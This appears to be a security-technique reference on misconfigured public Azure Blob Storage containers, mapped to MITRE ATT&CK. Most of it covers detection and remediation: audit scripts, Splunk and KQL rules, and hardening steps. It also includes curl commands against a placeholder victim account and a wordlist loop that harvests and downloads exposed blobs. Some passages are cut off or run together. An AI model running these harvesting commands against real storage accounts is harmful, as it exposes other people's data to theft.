| Attribute | Details |
|—|—|
| Technique ID | MISCONFIG-006 |
| MITRE ATT&CK v18.1 | Cloud Service Discovery (T1526) |
| Tactic | Discovery / Initial Access / Collection |
| Platforms | Azure Storage (Blob), Entra ID, Azure Resource Manager |
| Severity | High (Critical if sensitive data is stored) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure Storage accounts created via Azure Resource Manager with Blob service (all regions) |
| Patched In | N/A – design allows public access; mitigated via configuration (AllowBlobPublicAccess, container ACLs, private endpoints, and policy). |
| Author | SERVTEP – Artur Pchelnikau |
AllowBlobPublicAccess) and at the container level (Public access level: Blob or Container). When these settings are misconfigured, containers that hold internal or sensitive data become readable by anyone on the internet without authentication. Attackers routinely scan for publicly accessible containers in Azure (similar to S3 bucket hunting) and perform automated data harvesting.Private.AllowBlobPublicAccess or create older accounts where it is implicitly enabled. At the container level, setting Public access level to Blob or Container allows unauthenticated reads; the account‑level setting acts as a master switch that can override container settings. Microsoft strongly recommends disabling public access unless absolutely necessary and using SAS, CDN, or other controlled distribution methods instead.| Framework | Control / ID | Description | |—|—|—| | CIS Azure Foundations | AZURE 3.x – Storage Encryption & Access | Requires restricting anonymous/public access to storage accounts and containers. | | DISA STIG | APP3550 / SRG-APP-000231 | Protects data at rest from unauthorized access; prohibits unauthenticated access to sensitive data stores. | | CISA SCuBA | Storage Hardening | Guidance to prevent anonymous/public data exposure in cloud object stores. | | NIST 800‑53 Rev5 | AC‑3, SC‑7, SC‑28 | Access enforcement, boundary protection, and protection of information at rest – public blobs violate least privilege and boundary controls. | | GDPR | Art. 25, Art. 32 | Data protection by design/default; public exposure of PII via blobs is a clear violation of appropriate technical measures. | | DORA | Art. 9 | ICT risk management – cloud data stores must be appropriately segmented and access‑controlled. | | NIS2 | Art. 21 | Requires robust technical and organizational measures to manage cyber risk, including secure configuration of storage. | | ISO 27001:2022 | A.8.12, A.8.24 | Data leakage prevention and protection of information stored in cloud services. | | ISO 27005 | “Public Cloud Data Bucket Exposure” | Classic risk scenario: misconfigured public storage exposing regulated or sensitive data. |
Microsoft.Storage/storageAccounts/write and Microsoft.Storage/storageAccounts/blobServices/containers/write.https://<account>.blob.core.windows.net.Supported Versions:
Clients: Any HTTP(S) client (browser, curl, SDKs). No authentication required if container is public.
az CLI (az storage account, az storage container).# List storage accounts and the AllowBlobPublicAccess flag
Connect-AzAccount
$subs = Get-AzSubscription
foreach ($sub in $subs) {
Set-AzContext -SubscriptionId $sub.Id | Out-Null
Get-AzStorageAccount | Select-Object @{n='Subscription';e={$sub.Name}},
ResourceGroupName, StorageAccountName, AllowBlobPublicAccess
}
What to Look For:
AllowBlobPublicAccess is $true or $null (older accounts where public access is permitted by default).Enumerate Container Public Access Levels:
$rg = "<ResourceGroup>"
$sa = "<StorageAccountName>"
$ctx = (Get-AzStorageAccount -ResourceGroupName $rg -Name $sa).Context
Get-AzStorageContainer -Context $ctx | Select-Object Name, PublicAccess
What to Look For:
PublicAccess set to Blob or Container instead of Off/Private. These are anonymously readable if account‑level setting allows it.# List storage accounts with AllowBlobPublicAccess
az storage account list --query "[].{name:name, resourceGroup:resourceGroup, allowBlobPublicAccess:allowBlobPublicAccess}" -o table
# For a given account, list containers and access levels
ACCOUNT="<storage-account>"
RG="<resource-group>"
az storage container list \
--account-name $ACCOUNT \
--auth-mode login \
--query "[].{name:name, publicAccess:properties.publicAccess}" -o table
What to Look For:
publicAccess != None in a storage account that is not intentionally internet‑facing.# Anonymous listing attempt (only works if container public access = Container)
ACCOUNT="victimstorage"
CONTAINER="backups"
curl -s "https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}?restype=container&comp=list"
# Anonymous blob download (works if Blob or Container level access)
BLOB="sensitive-config.json"
curl -O "https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}/${BLOB}"
What to Look For:
Supported Versions: All Azure storage accounts that allow public access and have containers configured with Blob or Container access level.
Objective: Enumerate containers and identify those with public access.
Command (External, Unauthenticated):
# Assume attacker has guessed or discovered account and container names
curl -s "https://victimstorage.blob.core.windows.net/public?restype=container&comp=list" | xmllint --format -
Expected Output: XML document listing blobs within the public container if PublicAccess is Container. For Blob level, listing may fail but direct blob URLs still work.
What This Means:
OpSec & Evasion:
Objective: Exfiltrate all accessible content.
ACCOUNT="victimstorage"
CONTAINER="public"
# Simple enumeration using a wordlist
for name in $(cat wordlist.txt); do
url="https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}/${name}"
if curl -s --head "$url" | grep -q "200"; then
echo "[+] Found: $url" | tee -a found_blobs.txt
curl -s "$url" -o "downloaded_${name}"
fi
done
Expected Output: Files written locally; HTTP 200 responses from blob service.
What This Means:
Troubleshooting:
404 The specified container does not exist – container name incorrect or access disabled.PublicAccess is disabled – account owner has disabled anonymous access at account level despite container setting.References & Proofs:
Supported Versions: Resource Manager‑based storage accounts with AllowBlobPublicAccess permitted.
Objective: Accidentally or intentionally configure storage account to allow container‑level public access.
Command (Azure CLI):
ACCOUNT="corpdata"
RG="rg-storage"
az storage account update \
--name $ACCOUNT \
--resource-group $RG \
--allow-blob-public-access true
az storage container create \
--name public \
--account-name $ACCOUNT \
--auth-mode login \
--public-access blob
Expected Output: Container public created; blobs uploaded into this container are now anonymously readable.
OpSec & Evasion:
Troubleshooting:
Storage account public access should be disallowed is enforced, creation/update may fail with policy violation.References:
AllowBlobPublicAccess property.There is no storage‑specific Atomic Red Team test for Azure public blob misconfiguration, but T1530 (Data from Cloud Storage Object) and T1526 (Cloud Service Discovery) tests cover similar patterns in S3.
Adaptation to Azure:
curl or az storage blob download without authentication to download data.Cleanup Command:
az storage container delete --name public --account-name $ACCOUNT --auth-mode login
Reference: Atomic Red Team T1530 and Microsoft documentation on anonymous blob access.
Installation:
Install-Module Az.Storage -Scope CurrentUser
Import-Module Az.Storage
Usage (Check AllowBlobPublicAccess):
Get-AzStorageAccount | Select-Object StorageAccountName, AllowBlobPublicAccess
Installation: Cross‑platform CLI for Azure.
Usage:
az storage account list --query "[].{name:name, allowBlobPublicAccess:allowBlobPublicAccess}" -o table
Connect-AzAccount
$subs = Get-AzSubscription
$results = foreach ($sub in $subs) {
Set-AzContext -SubscriptionId $sub.Id | Out-Null
Get-AzStorageAccount | ForEach-Object {
$ctx = $_.Context
Get-AzStorageContainer -Context $ctx | Where-Object { $_.PublicAccess -ne "Off" } |
Select-Object @{n='Subscription';e={$sub.Name}},
@{n='StorageAccount';e={$_.CloudStorageAccount.StorageAccountName}},
Name, PublicAccess
}
}
$results | Format-Table -AutoSize
Rule Configuration:
azure:monitor:storage or Azure Activity log index.azure:activity.operationName, properties, resourceId, resultType.allowBlobPublicAccess to true or container publicAccess != None.SPL Query:
index=azure_activity (operationName="Microsoft.Storage/storageAccounts/write" OR \
operationName="Microsoft.Storage/storageAccounts/blobServices/containers/write")
| eval props = spath(_raw, "properties")
| eval allowBlobPublicAccess = spath(props, "properties.allowBlobPublicAccess"),
publicAccess = spath(props, "properties.publicAccess")
| search allowBlobPublicAccess="true" OR publicAccess!="None" AND publicAccess!=""
| stats latest(_time) AS lastChange BY resourceId, allowBlobPublicAccess, publicAccess
What This Detects:
Manual Configuration Steps:
Azure Blob Public Access Enabled with severity High and notify storage/security teams.Source: Microsoft Defender for Cloud data security recommendations and community detection examples.
NOT resourceId IN (...)).Rule Configuration:
AzureActivity.OperationNameValue, ResourceProviderValue, Properties, ResourceId.KQL Query:
AzureActivity
| where ResourceProviderValue == "MICROSOFT.STORAGE"
| where OperationNameValue in ("MICROSOFT.STORAGE/STORAGEACCOUNTS/WRITE",
"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE")
| extend props = parse_json(Properties)
| extend allowBlobPublicAccess = tostring(props.responseBody.properties.allowBlobPublicAccess),
publicAccess = tostring(props.responseBody.properties.publicAccess)
| where allowBlobPublicAccess =~ "true" or publicAccess !~ "None" and publicAccess != ""
| project TimeGenerated, OperationNameValue, ResourceId, allowBlobPublicAccess, publicAccess, Caller
What This Detects:
Manual Configuration Steps:
Public Blob Access Enabled using this KQL and assign to cloud security team.Source: Microsoft Defender for Cloud recommendation “Storage account public access should be disallowed” and its associated policy.
Not directly applicable; this misconfiguration occurs in Azure control plane. Windows event logs are only relevant insofar as they capture admin tooling used locally.
Suggested minimal monitoring:
Optional; focus on detecting heavy use of storage‑management tooling from non‑admin systems.
<Sysmon schemaversion="4.82">
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="contains">az.exe</Image>
<CommandLine condition="contains">storage account update</CommandLine>
<CommandLine condition="contains">allow-blob-public-access</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Alert Name: Storage account allows public blob access / Anomalous access to a storage account from the internet.
Manual Configuration Steps (Enable Defender for Storage):
Azure Storage access isn’t logged via the M365 unified audit log, but you can use:
For M365 workloads that use Blob as a backing store (e.g., certain services), correlate:
AllowBlobPublicAccess to false on all storage accounts unless explicitly justified.Manual Steps (Portal):
Manual Steps (PowerShell):
Get-AzStorageAccount | ForEach-Object {
if ($_.AllowBlobPublicAccess -ne $false) {
Set-AzStorageAccount -ResourceGroupName $_.ResourceGroupName -Name $_.StorageAccountName `
-AllowBlobPublicAccess $false
}
}
PublicAccess to Off for any that do not need to be public.$ctx = (Get-AzStorageAccount -ResourceGroupName $rg -Name $sa).Context
Get-AzStorageContainer -Context $ctx | Where-Object { $_.PublicAccess -ne "Off" } |
ForEach-Object {
Set-AzStorageContainerAcl -Context $ctx -Name $_.Name -PublicAccess Off
}
Connect-AzAccount
Get-AzSubscription | ForEach-Object {
Set-AzContext -SubscriptionId $_.Id | Out-Null
Get-AzStorageAccount | ForEach-Object {
$sa = $_
if ($sa.AllowBlobPublicAccess -ne $false) {
Write-Output "[!] Public access still allowed on $($sa.StorageAccountName)"
}
$ctx = $sa.Context
Get-AzStorageContainer -Context $ctx | Where-Object { $_.PublicAccess -ne "Off" } |
ForEach-Object {
Write-Output "[!] Container $($_.Name) on $($sa.StorageAccountName) is $($_.PublicAccess)"
}
}
}
Expected Output (If Secure):
AllowBlobPublicAccess are False and all containers show Off.AuthenticationType = Anonymous, RequestStatus = Success.AllowBlobPublicAccess to false and set affected containers to Private.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | REC-CLOUD-005 – Azure Resource Graph enumeration | Attacker discovers storage accounts and containers. |
| 2 | Discovery | T1526 – Cloud Service Discovery | Enumerates cloud storage services and configuration. |
| 3 | Current Step | MISCONFIG-006 – Public Blob Storage Containers | Misconfiguration exposes blob data to the internet. |
| 4 | Collection | T1530 – Data from Cloud Storage Object | Attacker downloads exposed blobs. |
| 5 | Impact | DATA-EXFIL-XXX – Data disclosure | Breach of confidentiality; regulatory reporting triggered. |